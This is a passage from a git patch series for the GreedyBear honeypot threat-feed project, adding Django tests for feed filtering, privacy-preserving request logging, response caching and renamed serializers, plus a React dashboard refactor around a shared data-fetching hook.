Tag.objects.create(ioc=self.ioc_2, key="Campaign", value="emotet", source="threatfox") + + for query_key in ("campaign", "CAMPAIGN", "Campaign"): + with self.subTest(tag_key=query_key): + response = self.client.get(f"/api/feeds/advanced/?tag_key={query_key}") + self.assertEqual(response.status_code, 200) + values = {i["value"] for i in response.json()["iocs"]} + self.assertIn(self.ioc_2.name, values) + def test_200_filter_by_tag_key_no_match(self): """Filtering by a non-existent tag_key should return no IOCs.""" response = self.client.get("/api/feeds/advanced/?tag_key=nonexistent") diff --git a/tests/api/views/test_request_logging.py b/tests/api/views/test_request_logging.py new file mode 100644 index 000000000..8d7859e78 --- /dev/null +++ b/tests/api/views/test_request_logging.py @@ -0,0 +1,33 @@ +from tests import CustomTestCase + + +class RequestLoggingMixinTestCase(CustomTestCase): + """Tests for the shared RequestLoggingMixin as wired into the feed endpoints.""" + + LOGGER = "api.mixins" + + def test_logs_method_route_pattern_and_params(self): + with self.assertLogs(self.LOGGER, level="INFO") as logs: + self.client.get("/api/feeds/all/all/recent.json?ioc_type=ip") + self.assertEqual(len(logs.output), 1) + line = logs.output[0] + self.assertIn("request GET", line) + self.assertIn("api/feeds///.", line) + self.assertIn("'ioc_type': 'ip'", line) + + def test_excludes_reason_param_from_log(self): + with self.assertLogs(self.LOGGER, level="INFO") as logs: + response = self.client.get("/api/feeds/share?reason=super-secret-note&ioc_type=ip") + self.assertIn(response.status_code, (401, 403)) + line = logs.output[0] + self.assertNotIn("super-secret-note", line) + self.assertNotIn("reason", line) + self.assertIn("'ioc_type': 'ip'", line) + + def test_does_not_leak_share_token_carried_in_path(self): + secret_token = "extremely-secret-token-value" + with self.assertLogs(self.LOGGER, level="INFO") as logs: + self.client.get(f"/api/feeds/consume/{secret_token}") + line = logs.output[0] + self.assertNotIn(secret_token, line) + self.assertIn("api/feeds/consume/", line) diff --git a/tests/test_cache.py b/tests/test_cache.py new file mode 100644 index 000000000..a12f940e6 --- /dev/null +++ b/tests/test_cache.py @@ -0,0 +1,190 @@ +from hashlib import sha256 +from unittest.mock import MagicMock, patch + +from django.core.cache import caches +from django.test import override_settings + +from greedybear.cache import Cache, build_versioned_key +from greedybear.consts import API_CACHE_ALIAS, IOC_DATA_VERSION_KEY +from greedybear.models import IOC, IocType +from tests import CustomTestCase, E2ETestCase, MockElasticHit + +TEST_CACHES = { + "default": { + "BACKEND": "django.core.cache.backends.locmem.LocMemCache", + "LOCATION": "greedybear-default", + }, + "api": { + "BACKEND": "django.core.cache.backends.locmem.LocMemCache", + "LOCATION": "greedybear-test-api-cache", + }, +} + + +class TestBuildVersionedKey(CustomTestCase): + def test_key_has_expected_structure(self): + material = "FeedsView|/api/feeds/|type=ip" + expected_digest = sha256(material.encode("utf-8")).hexdigest() + self.assertEqual(build_versioned_key("feeds", 3, material), f"feeds_v3_{expected_digest}") + + def test_key_is_deterministic(self): + self.assertEqual( + build_versioned_key("feeds", 1, "same-material"), + build_versioned_key("feeds", 1, "same-material"), + ) + + def test_different_material_yields_different_key(self): + self.assertNotEqual( + build_versioned_key("feeds", 1, "material-a"), + build_versioned_key("feeds", 1, "material-b"), + ) + + def test_version_bump_changes_key(self): + self.assertNotEqual( + build_versioned_key("feeds", 1, "material"), + build_versioned_key("feeds", 2, "material"), + ) + + def test_namespace_changes_key(self): + self.assertNotEqual( + build_versioned_key("feeds", 1, "material"), + build_versioned_key("enrichment", 1, "material"), + ) + + +@override_settings(CACHES=TEST_CACHES) +class TestCache(CustomTestCase): + def setUp(self): + super().setUp() + self.cache = Cache(API_CACHE_ALIAS) + + def test_set_then_get_preserves_value(self): + self.cache.set("key", {"a": 1}) + self.assertEqual(self.cache.get("key"), {"a": 1}) + + def test_get_missing_key_returns_none(self): + self.assertIsNone(self.cache.get("does-not-exist")) + + def test_targets_the_configured_alias(self): + self.cache.set("key", "some_odd_value") + self.assertEqual(caches[API_CACHE_ALIAS].get("key"), "some_odd_value") + self.assertIsNone(caches["default"].get("key")) + + def test_get_data_version_defaults_to_one_when_unset(self): + self.assertEqual(self.cache.get_data_version("ver"), 1) + + def test_get_data_version_returns_stored_value(self): + self.cache.set("ver", 7) + self.assertEqual(self.cache.get_data_version("ver"), 7) + + def test_bump_data_version_from_unset_sets_two(self): + self.cache.bump_data_version("ver") + self.assertEqual(self.cache.get_data_version("ver"), 2) + + def test_bump_data_version_increments_existing_value(self): + self.cache.set("ver", 5) + self.cache.bump_data_version("ver") + self.assertEqual(self.cache.get_data_version("ver"), 6) + + def test_repeated_bumps_keep_incrementing(self): + self.cache.bump_data_version("ver") # -> 2 + self.cache.bump_data_version("ver") # -> 3 + self.cache.bump_data_version("ver") # -> 4 + self.assertEqual(self.cache.get_data_version("ver"), 4) + + +@override_settings(CACHES=TEST_CACHES) +class FeedsCacheInvalidationEndpointTest(CustomTestCase): + """Ensures the CachedResponseMixin caches the rendered response + and that bumping the data version orphans it.""" + + URL = "/api/feeds/all/all/recent.json?include_mass_scanners&include_tor_exit_nodes" + + def _get_ioc_names(self, response) -> set: + return {ioc["value"] for ioc in response.json()["iocs"]} + + def _create_feed_ioc(self, name: str) -> IOC: + """Create an active-honeypot IP IOC that will be incuded in the feed.""" + ioc = IOC.objects.create( + name=name, + type=IocType.IP.value, + first_seen=self.current_time, + last_seen=self.current_time, + days_seen=[self.current_time.date()], + number_of_days_seen=1, + attack_count=1, + interaction_count=1, + scanner=True, + payload_request=True, + related_urls=[], + ip_reputation="", + destination_ports=[22], + login_attempts=1, + recurrence_probability=0.1, + expected_interactions=1.0, + ) + ioc.honeypots.add(self.cowrie_hp) + ioc.save() + return ioc + + def test_response_is_cached_then_invalidated_by_version_bump(self): + # 1. Populate cache + first = self.client.get(self.URL) + self.assertEqual(first.status_code, 200) + baseline = self._get_ioc_names(first) + self.assertIn(self.ioc.name, baseline) + + # 2. Add a new IOC WITHOUT bumping the version + new_ip = "22.3.4.55" + self._create_feed_ioc(new_ip) + cached = self.client.get(self.URL) + self.assertEqual(cached.status_code, 200) + self.assertEqual(self._get_ioc_names(cached), baseline) + self.assertNotIn(new_ip, self._get_ioc_names(cached)) + + # 3. Bump the data version + Cache(API_CACHE_ALIAS).bump_data_version(IOC_DATA_VERSION_KEY) + fresh = self.client.get(self.URL) + self.assertEqual(fresh.status_code, 200) + self.assertIn(new_ip, self._get_ioc_names(fresh)) + self.assertEqual(self._get_ioc_names(fresh), baseline | {new_ip}) + + +class FeedsCacheInvalidationPipelineTest(E2ETestCase): + """Ensures a working pipeline invalidation trigger.""" + + def _data_version(self) -> int: + """Helper for retrieving the data version from cache.""" + return Cache(API_CACHE_ALIAS).get_data_version(IOC_DATA_VERSION_KEY) + + @patch("greedybear.cronjobs.extraction.pipeline.UpdateScores") + def test_execute_does_not_bump_version_when_no_iocs(self, _mock_scores): + pipeline = self._create_pipeline_with_real_factory() + pipeline.elastic_repo.search.return_value = [] # no chunks -> 0 IOCs -> no invalidation + + before = self._data_version() + count = pipeline.execute() + + self.assertEqual(count, 0) + self.assertEqual(self._data_version(), before) + + @patch("greedybear.cronjobs.extraction.pipeline.BucketUpdater") + @patch("greedybear.cronjobs.extraction.pipeline.ExtractionStrategyFactory") + @patch("greedybear.cronjobs.extraction.pipeline.UpdateScores") + def test_execute_bumps_version_when_iocs_processed(self, _mock_scores, mock_factory_cls, mock_bucket_cls): + pipeline = self._create_pipeline_with_real_factory() + pipeline.elastic_repo.search.return_value = [[MockElasticHit({"src_ip": "1.2.3.4", "type": "Cowrie"})]] + pipeline.ioc_repo.is_ready_for_extraction.return_value = True + + # Strategy yields one IOC record -> invalidation + strategy = MagicMock() + strategy.ioc_records = [MagicMock()] + mock_factory_cls.return_value.get_strategy.return_value = strategy + # Keep the trending-cache branch out of this test. + mock_bucket_cls.return_value.total_update_count = 0 + + before = self._data_version() + count = pipeline.execute() + + self.assertEqual(count, 1) + self.assertEqual(self._data_version(), before + 1) diff --git a/tests/test_serializers.py b/tests/test_serializers.py index 50879cc7d..465244990 100644 --- a/tests/test_serializers.py +++ b/tests/test_serializers.py @@ -4,10 +4,10 @@ from rest_framework.serializers import ValidationError from api.serializers import ( - FeedsRequestSerializer, - FeedsResponseSerializer, + AdvancedFeedRequestSerializer, IOCSerializer, - parse_feed_types, + SimpleFeedResponseSerializer, + feed_type_as_list, ) from greedybear.consts import PAYLOAD_REQUEST, SCANNER from greedybear.enums import IpReputation @@ -17,25 +17,25 @@ class ParseFeedTypesTestCase(CustomTestCase): def test_single_type(self): - self.assertEqual(parse_feed_types("cowrie"), ["cowrie"]) + self.assertEqual(feed_type_as_list("cowrie"), ["cowrie"]) def test_multiple_types(self): - self.assertEqual(parse_feed_types("cowrie,adbhoney"), ["cowrie", "adbhoney"]) + self.assertEqual(feed_type_as_list("cowrie,adbhoney"), ["cowrie", "adbhoney"]) def test_strips_whitespace(self): - self.assertEqual(parse_feed_types(" cowrie , adbhoney "), ["cowrie", "adbhoney"]) + self.assertEqual(feed_type_as_list(" cowrie , adbhoney "), ["cowrie", "adbhoney"]) def test_empty_string(self): - self.assertEqual(parse_feed_types(""), []) + self.assertEqual(feed_type_as_list(""), []) def test_only_commas(self): - self.assertEqual(parse_feed_types(",,,"), []) + self.assertEqual(feed_type_as_list(",,,"), []) def test_all_type(self): - self.assertEqual(parse_feed_types("all"), ["all"]) + self.assertEqual(feed_type_as_list("all"), ["all"]) -class FeedsRequestSerializersTestCase(CustomTestCase): +class AdvancedFeedRequestSerializersTestCase(CustomTestCase): @classmethod def setUpTestData(cls): super().setUpTestData() @@ -51,14 +51,14 @@ def test_valid_fields(self): "max_age": [str(n) for n in [1, 2, 4, 8, 16]], "min_days_seen": [str(n) for n in [1, 2, 4, 8, 16]], "include_reputation": [ - [], - [IpReputation.KNOWN_ATTACKER], - [IpReputation.KNOWN_ATTACKER, IpReputation.MASS_SCANNER], + "", + str(IpReputation.KNOWN_ATTACKER), + f"{IpReputation.KNOWN_ATTACKER};{IpReputation.MASS_SCANNER}", ], "exclude_reputation": [ - [], - [IpReputation.KNOWN_ATTACKER], - [IpReputation.KNOWN_ATTACKER, IpReputation.MASS_SCANNER], + "", + str(IpReputation.KNOWN_ATTACKER), + f"{IpReputation.KNOWN_ATTACKER};{IpReputation.MASS_SCANNER}", ], "feed_size": [str(n) for n in [100, 200, 5000, 10_000_000]], "ordering": [field.name for field in IOC._meta.get_fields()], @@ -71,56 +71,45 @@ def test_valid_fields(self): n = 1_000 for _ in range(n): data_ = {field: random.choice(values) for field, values in choices.items()} - serializer = FeedsRequestSerializer( - data=data_, - context={"valid_feed_types": frozenset(choices["feed_type"])}, - ) + serializer = AdvancedFeedRequestSerializer(data=data_) valid = serializer.is_valid(raise_exception=True) self.assertEqual(valid, True) def test_multi_feed_type_valid(self): - valid_feed_types = frozenset(["all", "log4pot", "cowrie", "adbhoney"]) data_ = { "feed_type": "cowrie,log4pot", "attack_type": "all", "ioc_type": "all", "max_age": "1", "min_days_seen": "1", - "include_reputation": [], - "exclude_reputation": [], + "include_reputation": "", + "exclude_reputation": "", "feed_size": "1", "ordering": "last_seen", "verbose": "false", "paginate": "false", "format": "json", } - serializer = FeedsRequestSerializer( - data=data_, - context={"valid_feed_types": valid_feed_types}, - ) + serializer = AdvancedFeedRequestSerializer(data=data_) self.assertTrue(serializer.is_valid(raise_exception=True)) def test_multi_feed_type_partially_invalid(self): """one invalid type, must fail validation""" - valid_feed_types = frozenset(["all", "log4pot", "cowrie", "adbhoney"]) data_ = { "feed_type": "cowrie,invalid_type", "attack_type": "all", "ioc_type": "all", "max_age": "1", "min_days_seen": "1", - "include_reputation": [], - "exclude_reputation": [], + "include_reputation": "", + "exclude_reputation": "", "feed_size": "1", "ordering": "last_seen", "verbose": "false", "paginate": "false", "format": "json", } - serializer = FeedsRequestSerializer( - data=data_, - context={"valid_feed_types": valid_feed_types}, - ) + serializer = AdvancedFeedRequestSerializer(data=data_) try: serializer.is_valid(raise_exception=True) self.fail("ValidationError not raised for partially invalid feed_type") @@ -129,14 +118,13 @@ def test_multi_feed_type_partially_invalid(self): def test_empty_feed_type_invalid(self): """empty or whitespace-only feed_type must be rejected""" - valid_feed_types = frozenset(["all", "log4pot", "cowrie", "adbhoney"]) base_data = { "attack_type": "all", "ioc_type": "all", "max_age": "1", "min_days_seen": "1", - "include_reputation": [], - "exclude_reputation": [], + "include_reputation": "", + "exclude_reputation": "", "feed_size": "1", "ordering": "last_seen", "verbose": "false", @@ -145,24 +133,20 @@ def test_empty_feed_type_invalid(self): } for feed_type_str in ("", ",", " , "): with self.subTest(feed_type=repr(feed_type_str)): - serializer = FeedsRequestSerializer( - data={**base_data, "feed_type": feed_type_str}, - context={"valid_feed_types": valid_feed_types}, - ) + serializer = AdvancedFeedRequestSerializer(data={**base_data, "feed_type": feed_type_str}) with self.assertRaises(ValidationError): serializer.is_valid(raise_exception=True) self.assertIn("feed_type", serializer.errors) def test_multi_feed_type_all_combined_invalid(self): """'all' combined with any other type must be rejected""" - valid_feed_types = frozenset(["all", "log4pot", "cowrie", "adbhoney"]) base_data = { "attack_type": "all", "ioc_type": "all", "max_age": "1", "min_days_seen": "1", - "include_reputation": [], - "exclude_reputation": [], + "include_reputation": "", + "exclude_reputation": "", "feed_size": "1", "ordering": "last_seen", "verbose": "false", @@ -171,33 +155,26 @@ def test_multi_feed_type_all_combined_invalid(self): } for feed_type_str in ("all,cowrie", "cowrie,all", "all,cowrie,adbhoney"): with self.subTest(feed_type=feed_type_str): - serializer = FeedsRequestSerializer( - data={**base_data, "feed_type": feed_type_str}, - context={"valid_feed_types": valid_feed_types}, - ) + serializer = AdvancedFeedRequestSerializer(data={**base_data, "feed_type": feed_type_str}) with self.assertRaises(ValidationError): serializer.is_valid(raise_exception=True) self.assertIn("feed_type", serializer.errors) def test_invalid_fields(self): - valid_feed_types = frozenset(["all", "log4pot", "cowrie", "adbhoney"]) data_ = { "feed_type": "invalid_feed_type", "attack_type": "invalid_attack_type", "max_age": "0", "min_days_seen": "0", - "include_reputation": None, - "exclude_reputation": None, + "include_reputation": "x" * 121, # exceeds child CharField(max_length=120) + "exclude_reputation": "x" * 121, "feed_size": "0", "ordering": "invalid_ordering", "verbose": "invalid_value", "paginate": "invalid_value", "format": "invalid_format", } - serializer = FeedsRequestSerializer( - data=data_, - context={"valid_feed_types": valid_feed_types}, - ) + serializer = AdvancedFeedRequestSerializer(data=data_) try: serializer.is_valid(raise_exception=True) except ValidationError: @@ -220,8 +197,8 @@ def _base_request_data(self): "ioc_type": "all", "max_age": "1", "min_days_seen": "1", - "include_reputation": [], - "exclude_reputation": [], + "include_reputation": "", + "exclude_reputation": "", "feed_size": "1", "ordering": "last_seen", "verbose": "false", @@ -231,24 +208,22 @@ def _base_request_data(self): def test_min_expected_interactions_valid(self): """min_expected_interactions accepts valid non-negative floats and None.""" - valid_feed_types = frozenset(["all"]) for value in ["0", "0.0", "5.5", "100"]: with self.subTest(value=value): data_ = {**self._base_request_data(), "min_expected_interactions": value} - serializer = FeedsRequestSerializer(data=data_, context={"valid_feed_types": valid_feed_types}) + serializer = AdvancedFeedRequestSerializer(data=data_) self.assertTrue(serializer.is_valid(raise_exception=True)) def test_min_expected_interactions_invalid(self): """min_expected_interactions rejects negative values.""" - valid_feed_types = frozenset(["all"]) data_ = {**self._base_request_data(), "min_expected_interactions": "-0.1"} - serializer = FeedsRequestSerializer(data=data_, context={"valid_feed_types": valid_feed_types}) + serializer = AdvancedFeedRequestSerializer(data=data_) with self.assertRaises(ValidationError): serializer.is_valid(raise_exception=True) self.assertIn("min_expected_interactions", serializer.errors) -class FeedsResponseSerializersTestCase(CustomTestCase): +class FeedResponseSerializersTestCase(CustomTestCase): @classmethod def setUpTestData(cls): super().setUpTestData() @@ -284,7 +259,7 @@ def test_valid_fields(self): "attacker_country": "Nepal", "attacker_country_code": "NP", } - serializer = FeedsResponseSerializer( + serializer = SimpleFeedResponseSerializer( data=data_, context={"valid_feed_types": frozenset(feed_type_choices)}, ) @@ -310,7 +285,7 @@ def test_invalid_fields(self): "expected_interactions": "-1", "attacker_country_code": "INV", } - serializer = FeedsResponseSerializer( + serializer = SimpleFeedResponseSerializer( data=data_, context={"valid_feed_types": valid_feed_types}, ) diff --git a/uv.lock b/uv.lock index 8e2f6dc2b..103fd4f8e 100644 --- a/uv.lock +++ b/uv.lock @@ -490,10 +490,12 @@ dependencies = [ { name = "croniter" }, { name = "datasketch" }, { name = "django" }, + { name = "django-filter" }, { name = "django-q2" }, { name = "django-rest-email-auth" }, { name = "django-ses" }, { name = "djangorestframework" }, + { name = "drf-spectacular" }, { name = "elasticsearch" }, { name = "feedparser" }, { name = "gunicorn" }, @@ -525,10 +527,12 @@ requires-dist = [ { name = "croniter", specifier = "~=6.2" }, { name = "datasketch", specifier = "~=1.10" }, { name = "django", specifier = "~=5.2.13" }, + { name = "django-filter", specifier = "~=25.2" }, { name = "django-q2", specifier = "~=1.10" }, { name = "django-rest-email-auth", specifier = "==5.0.0" }, { name = "django-ses", specifier = "~=4.7" }, { name = "djangorestframework", specifier = "~=3.17.1" }, + { name = "drf-spectacular", specifier = "~=0.29.0" }, { name = "elasticsearch", specifier = "==9.4.1" }, { name = "feedparser", specifier = "~=6.0" }, { name = "gunicorn", specifier = "~=26.0" }, From bd52ae14a5d4136728bd5e4eced936c9c512a986 Mon Sep 17 00:00:00 2001 From: armoredvortex <66690593+armoredvortex@users.noreply.github.com> Date: Mon, 15 Jun 2026 20:03:32 +0530 Subject: [PATCH 035/131] Refactor Dashboard: extract shared useWidgetData hook. Closes #1398, #1171 (#1410) * feat: implement useWidgetData hook for shared data fetching in dashboard * undo removed comment * modularize dashboard charts and replace useAttackerCountriesStore with useWidgetData for data fetching * remove unused tests, modify attack origin map and chart tests * add unit tests for useWidgetData and charts * formatting fix * normalize attacker countries data in useWidgetData and update charts * formatting fix * update tests --- .../components/dashboard/AttackOriginMap.jsx | 30 +-- .../src/components/dashboard/utils/charts.jsx | 191 ++++++++------ frontend/src/hooks/useWidgetData.js | 138 ++++++++++ .../src/stores/useAttackerCountriesStore.jsx | 97 ------- .../AttackOriginCountriesChart.test.jsx | 26 +- .../dashboard/AttackOriginMap.test.jsx | 20 +- .../components/dashboard/charts.test.jsx | 222 ++++++++++------ frontend/tests/hooks/useWidgetData.test.jsx | 218 ++++++++++++++++ .../stores/useAttackerCountriesStore.test.jsx | 241 ------------------ 9 files changed, 642 insertions(+), 541 deletions(-) create mode 100644 frontend/src/hooks/useWidgetData.js delete mode 100644 frontend/src/stores/useAttackerCountriesStore.jsx create mode 100644 frontend/tests/hooks/useWidgetData.test.jsx delete mode 100644 frontend/tests/stores/useAttackerCountriesStore.test.jsx diff --git a/frontend/src/components/dashboard/AttackOriginMap.jsx b/frontend/src/components/dashboard/AttackOriginMap.jsx index c88465c59..3508f7605 100644 --- a/frontend/src/components/dashboard/AttackOriginMap.jsx +++ b/frontend/src/components/dashboard/AttackOriginMap.jsx @@ -5,9 +5,11 @@ import { Geography, ZoomableGroup, } from "@vnedyalk0v/react19-simple-maps"; -import { useTimePickerStore } from "@greedybear/gb-ui"; import countries from "i18n-iso-countries"; -import useAttackerCountriesStore from "../../stores/useAttackerCountriesStore"; +import useWidgetData, { + normalizeAttackerCountries, +} from "../../hooks/useWidgetData"; +import { IOC_ATTACKER_COUNTRIES_URI } from "../../constants/api"; const WORLD_ATLAS_GEO_URL = `${import.meta.env.BASE_URL}countries-110m.json`; @@ -65,14 +67,16 @@ const MapPaths = React.memo( MapPaths.displayName = "MapPaths"; export default function AttackOriginMap() { - const { range } = useTimePickerStore(); const { - countryDataMap: countryData, - maxCount, + data: rawData, loading, error, - fetchData, - } = useAttackerCountriesStore(); + } = useWidgetData(IOC_ATTACKER_COUNTRIES_URI); + + const { countryDataMap, maxCount } = React.useMemo( + () => normalizeAttackerCountries(rawData), + [rawData], + ); // TopoJSON is loaded here (bypassing the library's broken URL validator) // and passed as an object to . @@ -87,10 +91,6 @@ export default function AttackOriginMap() { count: 0, }); - React.useEffect(() => { - fetchData(range); - }, [range, fetchData]); - React.useEffect(() => { let cancelled = false; fetch(WORLD_ATLAS_GEO_URL) @@ -114,7 +114,7 @@ export default function AttackOriginMap() { const colors = React.useMemo(() => { const colorMap = {}; if (maxCount <= 0) return colorMap; - for (const [alpha2, count] of Object.entries(countryData)) { + for (const [alpha2, count] of Object.entries(countryDataMap)) { if (!count) continue; const t = Math.sqrt(count / maxCount); colorMap[alpha2] = @@ -123,7 +123,7 @@ export default function AttackOriginMap() { : lerpColor(COLOR_MID, COLOR_HIGH, (t - 0.5) * 2); } return colorMap; - }, [countryData, maxCount]); + }, [countryDataMap, maxCount]); /** * Resolve fill colour for a geography. @@ -142,7 +142,7 @@ export default function AttackOriginMap() { const handleMouseEnter = React.useCallback( (geo, evt) => { const alpha2 = countries.numericToAlpha2(geo.id); - const count = alpha2 ? (countryData[alpha2] ?? 0) : 0; + const count = alpha2 ? (countryDataMap[alpha2] ?? 0) : 0; setTooltip({ visible: true, x: evt.clientX, @@ -151,7 +151,7 @@ export default function AttackOriginMap() { count, }); }, - [countryData], + [countryDataMap], ); const handleMouseMove = React.useCallback((evt) => { diff --git a/frontend/src/components/dashboard/utils/charts.jsx b/frontend/src/components/dashboard/utils/charts.jsx index 72cf7f5c7..80e4a87d2 100644 --- a/frontend/src/components/dashboard/utils/charts.jsx +++ b/frontend/src/components/dashboard/utils/charts.jsx @@ -6,64 +6,119 @@ import { XAxis, YAxis, Tooltip, + CartesianGrid, + Legend, ResponsiveContainer, Cell, + ComposedChart, } from "recharts"; - -import { - AnyChartWidget, - getRandomColorsArray, - useTimePickerStore, -} from "@greedybear/gb-ui"; +import { format } from "date-fns"; +import { getRandomColorsArray, useTimePickerStore } from "@greedybear/gb-ui"; import { FEEDS_STATISTICS_SOURCES_URI, FEEDS_STATISTICS_DOWNLOADS_URI, FEEDS_STATISTICS_TYPES_URI, ENRICHMENT_STATISTICS_SOURCES_URI, ENRICHMENT_STATISTICS_REQUESTS_URI, + IOC_ATTACKER_COUNTRIES_URI, } from "../../../constants/api"; -import useAttackerCountriesStore from "../../../stores/useAttackerCountriesStore"; - import { FEED_COLOR_MAP, ENRICHMENT_COLOR_MAP } from "../../../constants"; +import useWidgetData, { + normalizeAttackerCountries, +} from "../../../hooks/useWidgetData"; const COUNTRY_BAR_COLOR = "#e05252"; +const CHART_HEIGHT = 250; +const CHART_MARGIN = { top: 0, right: 0, left: 20, bottom: 0 }; +const TOOLTIP_STYLE = { + backgroundColor: "var(--darker)", + border: 0, + borderRadius: 5, +}; // constants const colors = getRandomColorsArray(30, true); /** - * Creates an area chart component to avoid duplicating chart setup code. - * - * @param {string} url - API endpoint used to fetch chart data. - * @param {Object} colorMap - Map of data keys to color values. - * @param {number} start - Start index for slicing the color map. - * @param {number} end - End index for slicing the color map. + * Shared chart skeleton: handles loading / empty / error states and renders a + * ResponsiveContainer + */ +function ChartSkeleton({ data, loading, error, children }) { + if (loading) { + return ( +
+ Loading… +
+ ); + } + if (error) { + return ( +
+ {error} +
+ ); + } + if (!data || data.length === 0) { + return ( +
No data in the selected range.
+ ); + } + return ( + + + + + + + + {children} + + + ); +} + +/** + * Transforms raw API response for a time-series chart: + * sorts by date ascending and formats date strings using the current dateFormat. + */ +function useChartData(rawData, dateFormat) { + return React.useMemo(() => { + if (!rawData || !Array.isArray(rawData) || rawData.length === 0) return []; + return [...rawData] + .sort((a, b) => new Date(a.date) - new Date(b.date)) + .map((o) => ({ ...o, date: format(new Date(o.date), dateFormat) })); + }, [rawData, dateFormat]); +} + +/** + * Creates an area chart component for a given API endpoint and colorMap slice. */ export const AreaChartWidget = React.memo(({ url, colorMap, start, end }) => { - const chartProps = React.useMemo( - () => ({ - url, - accessorFnAggregation: (d) => d, - composedChartProps: { - chartProps: { margin: { top: 0, right: 0, left: 0, bottom: 0 } }, - }, - componentsFn: () => - Object.entries(colorMap) - .slice(start, end) - .map(([key, color]) => ( - - )), - }), - [url, colorMap, start, end], + const { dateFormat } = useTimePickerStore(); + const { data: rawData, loading, error } = useWidgetData(url); + const data = useChartData(rawData, dateFormat); + + const areas = React.useMemo( + () => + Object.entries(colorMap) + .slice(start, end) + .map(([key, color]) => ( + + )), + [colorMap, start, end], ); - return ; + return ( + + {areas} + + ); }); AreaChartWidget.displayName = "AreaChartWidget"; @@ -113,52 +168,44 @@ export const EnrichmentRequestsChart = createAreaChart( export const FeedsTypesChart = React.memo(() => { console.debug("FeedsTypesChart rendered!"); - const chartProps = React.useMemo( - () => ({ - url: FEEDS_STATISTICS_TYPES_URI, - accessorFnAggregation: (d) => d, - composedChartProps: { - chartProps: { margin: { top: 0, right: 0, left: 0, bottom: 0 } }, - }, - componentsFn: (respData) => { - console.debug("respData", respData); - if (!respData || !respData?.length) return null; - - // Extract keys only from respData[0]: - // feed types are the same for all elements of respData. - // Slice "date" field: we are only interested in feeds types. - const feedsTypes = []; - Object.entries(respData[0]) - .slice(1) - .map(([dKey], i) => (feedsTypes[i] = dKey)); - - // map each feed type to a color - return feedsTypes.map((dKey, i) => ( - - )); - }, - }), - [], - ); + const { dateFormat } = useTimePickerStore(); + const { + data: rawData, + loading, + error, + } = useWidgetData(FEEDS_STATISTICS_TYPES_URI); + const data = useChartData(rawData, dateFormat); + + const bars = React.useMemo(() => { + if (!data || data.length === 0) return null; + // Extract feed type keys from first data point (everything except "date") + const feedsTypes = Object.keys(data[0]).filter((k) => k !== "date"); + return feedsTypes.map((dKey, i) => ( + + )); + }, [data]); - return ; + return ( + + {bars} + + ); }); FeedsTypesChart.displayName = "FeedsTypesChart"; export const AttackOriginCountriesChart = React.memo(() => { console.debug("AttackOriginCountriesChart rendered!"); - const { range } = useTimePickerStore(); const { - normalizedData: data, + data: rawData, loading, error, - fetchData, - } = useAttackerCountriesStore(); + } = useWidgetData(IOC_ATTACKER_COUNTRIES_URI); - React.useEffect(() => { - fetchData(range); - }, [range, fetchData]); + const { normalizedData: data } = React.useMemo( + () => normalizeAttackerCountries(rawData), + [rawData], + ); if (loading) { return ( @@ -179,7 +226,7 @@ export const AttackOriginCountriesChart = React.memo(() => { if (!data || data.length === 0) { return (
- No country data available for the selected time range. + No data in the selected range.
); } diff --git a/frontend/src/hooks/useWidgetData.js b/frontend/src/hooks/useWidgetData.js new file mode 100644 index 000000000..52a0d1352 --- /dev/null +++ b/frontend/src/hooks/useWidgetData.js @@ -0,0 +1,138 @@ +import React from "react"; +import axios from "axios"; +import { useTimePickerStore } from "@greedybear/gb-ui"; + +/** + * Map + * Entries expire after CACHE_TTL_MS. + */ +const cache = new Map(); +const CACHE_TTL_MS = 5 * 60 * 1000; // 5 minutes + +const inflight = new Map(); + +export function clearWidgetDataCache() { + cache.clear(); + inflight.clear(); +} + +/** + * Normalise raw attacker-countries API data into two structures consumed by + * the dashboard map and bar-chart widgets. + * + * @param {any} rawData - Raw response from the API (may be null / non-array). + * @returns {{ + * countryDataMap: Record, // alpha-2 → aggregated count + * maxCount: number, // highest single-country count + * normalizedData: Array<{country:string, count:number, code:string}> // sorted desc + * }} + */ +export function normalizeAttackerCountries(rawData) { + const countryDataMap = {}; + const nameMap = {}; + let maxCount = 0; + + const raw = Array.isArray(rawData) ? rawData : []; + raw.forEach((item) => { + if (!item || typeof item !== "object") return; + const code = typeof item.code === "string" ? item.code.toUpperCase() : null; + if (!code) return; + const count = Math.max(0, Number(item.count) || 0); + countryDataMap[code] = (countryDataMap[code] || 0) + count; + if (!nameMap[code]) nameMap[code] = item.country || code; + if (countryDataMap[code] > maxCount) maxCount = countryDataMap[code]; + }); + + const normalizedData = Object.entries(countryDataMap) + .map(([code, count]) => ({ country: nameMap[code], count, code })) + .sort((a, b) => b.count - a.count); + + return { countryDataMap, maxCount, normalizedData }; +} + +/** + * Shared data-fetching hook for dashboard widgets. + * + * Reads `range` from `useTimePickerStore` automatically, so callers + * do not need to thread it through props. + * + * Caching: if (url, params, range) matches a recent cache entry (< 5 min old), + * the cached data is returned immediately without firing a network request. + * In-flight deduplication: if the same key is already being fetched by another + * component, the new caller subscribes to the same Promise instead of issuing + * a second GET. + * + * @param {string} url API endpoint to fetch. + * @param {Object} [extraParams={}] Additional query params merged with { range }. + * @returns {{ data: any, loading: boolean, error: string|null }} + */ +export default function useWidgetData(url, extraParams = {}) { + const { range } = useTimePickerStore(); + + const cacheKey = `${url}|${JSON.stringify(extraParams)}|${JSON.stringify(range)}`; + + const [data, setData] = React.useState(() => { + const entry = cache.get(cacheKey); + if (entry && Date.now() - entry.ts < CACHE_TTL_MS) return entry.data; + return null; + }); + const [loading, setLoading] = React.useState(() => { + const entry = cache.get(cacheKey); + return !(entry && Date.now() - entry.ts < CACHE_TTL_MS); + }); + const [error, setError] = React.useState(null); + + React.useLayoutEffect(() => { + const entry = cache.get(cacheKey); + if (entry && Date.now() - entry.ts < CACHE_TTL_MS) { + // Cache hit + setData(null); + setData(entry.data); + setLoading(false); + setError(null); + return; + } + + const controller = new AbortController(); + let cancelled = false; + + setLoading(true); + setError(null); + + // Reuse an in-flight promise if one already exists for this key, + // otherwise start a new request and register it. + let promise = inflight.get(cacheKey); + if (!promise) { + promise = axios + .get(url, { + params: { range, ...extraParams }, + signal: controller.signal, + }) + .then((resp) => resp.data ?? null) + .finally(() => inflight.delete(cacheKey)); + inflight.set(cacheKey, promise); + } + + promise + .then((result) => { + if (cancelled) return; + cache.set(cacheKey, { data: result, ts: Date.now() }); + setData(result); + setLoading(false); + }) + .catch((err) => { + if (cancelled || axios.isCancel(err)) return; + console.error(`[useWidgetData] fetch failed for ${url}:`, err); + setError("Failed to load data."); + setLoading(false); + }); + + return () => { + cancelled = true; + controller.abort(); + }; + // eslint-disable-next-line 